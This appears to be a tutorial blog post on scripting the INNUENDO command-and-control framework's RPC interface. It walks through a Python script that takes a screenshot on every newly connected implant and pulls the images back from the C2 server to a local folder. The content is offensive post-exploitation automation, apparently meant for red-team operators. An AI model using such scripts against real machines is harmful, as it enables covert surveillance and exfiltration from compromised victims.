In this post I want to demonstrate how one can begin layering high-level automation on top of INNUENDO C2 operations using the RPC interface.
Let's start simple. All we want is a screenshot of the target machine every time a new implant process connects to the C2.
The first thing we need is access to the RPC client library. The RPC client can be found in the INNUENDO directory as "<innuendo>/innuendo_client.py". This file actually bundles all of the client dependencies within it, so the only requirement to use it is a Python (2.7) installation.
Once you've copied the client file to your local machine, you simply have to point it at the address and port of the C2 RPC server (and ensure that host/port is accessible, of course).
$ ./innuendo_client.py -u tcp://<c2-host>:9998 ping ping? pong!
You'll notice that you have full access to the command-line interface using this file, but we can get quite a bit more flexibility if we import it into Python.
>>> import innuendo_client
This first import bootstraps the environment, and gives us access to the RPC client and it's dependencies. Now, we can import the client library:
>>> from innuendo import rpc
Now, let's connect to the RPC server.
>>> c = rpc.Client('tcp://<c2-host>:9998') >>> c.module_names() ('exploitmanager', 'recon', ...)
Excelsior! Let's watch some implants sync:
>>> for event in c.events('process'): ... proc_id = event['data']['id'] ... proc = c.process_get(proc_id) ... print proc['name'], proc['machine_alias'] netclassmon.exe Windows-7-x64-fuzzybunny boot64.exe Windows-7-x64-wombat rundll32.exe Windows-XP-x86-cabbage boot64.exe Windows-7-x64-fuzzybunny boot32.exe Windows-XP-x86-cabbage
NOTE: Here we are filtering for process events. If we wanted to grab all node events and any new machine events, we could call Client.events() like this instead: c.events('node', 'machine_added').
By reacting to this event stream, we can now begin to build a layer of automated decision-making on top of INNUENDO. A simple, but very useful option is to execute an operation or group of operations as soon as a new implant first syncs to the C2. Here's an example that takes a screenshot of the target as soon as an implant activates.
>>> for event in c.events('process_added'): ... proc_id = event['data']['id'] ... c.operation_execute([proc_id], 'screengrab')
This snippet will queue a "recon.screengrab" operation on the C2 for every process that is added while the script is running. The GIF below shows us how it would look in INNUENDO's UI.
Let's take it a bit further and dump thumbnails of the screenshots into a local directory. The full source for catching the right events is below, but first let's just take a step-by-step look at grabbing operation results.
>>> import msgpack >>> res = c.operation_attributes(oper_id) >>> attrs = msgpack.unpackb(res)
Since operation attributes can potentially store large binary data, the RPC layer does not automatically deserialize them for you, so we do that with msgpack.
NOTE: msgpack is a serialization library. A pure-Python version is bundled with the client library, but if you need higher performance, you'll want to grab the full package off of PyPI, which includes a C implemention. The client will prefer an installed copy over the bundled copy.
>>> server_path = attrs['data']['path']
This gives us the path of the screenshot image file on the C2 server. Index 0 is the first of potentially several images that could have been grabbed. Now we just have to ask the C2 for the file and save it locally.
>>> local_path = os.path.basename(remote_path) >>> with open(local_path, 'w+b') as file: ... for chunk in c.file_download(remote_path): ... file.write(chunk)
This will stream the screenshot chunk-by-chunk to a file in the current directory. Let's put it all together!
import os # bootstrap the client environment import innuendo_client import msgpack from innuendo import rpc def main(): print 'waiting' c = rpc.Client() # track the operations we want to watch oper_ids = set() for event in c.events('process_added', 'operation_updated'): if not event: # the server will send out "heartbeat" events periodically # we can ignore them continue elif event['name'] == 'process_added': print 'process_added: taking screenshot' # grab the ID of the process that just activated proc_id = event['data']['id'] # queue a screengrab operation and track it's ID res = c.operation_execute([proc_id], 'screengrab', wait=True) oper_ids.add(res) print 'operation_added:', res elif event['name'] == 'operation_updated': # grab the ID of the operation that was just updated oper_id = event['data']['id'] # make sure it's an operation we are tracking if oper_id not in oper_ids: continue # get the operation data so we can check it's state oper = c.operation_get(oper_id) print 'operation_updated:', oper['state'] # wait until the operation is finished if oper['state'] != 'finished': continue oper_ids.remove(oper_id) # grab and unpack the operation's attributes res = c.operation_attributes(oper_id) attrs = msgpack.unpackb(res) # get the remote path of the first screenshot remote_path = attrs['data']['path'] local_path = os.path.basename(remote_path) # stream the screenshot to a local file with open(local_path, 'w+') as file: for chunk in c.file_download(remote_path): file.write(chunk) print 'saved:', local_path if __name__ == '__main__': try: main() except KeyboardInterrupt: pass
With this script running, you should see a new screenshot saved to the current directory soon after every new implant process activates. This same procedure can be used to process results from any INNUENDO operation. Stay tuned for more!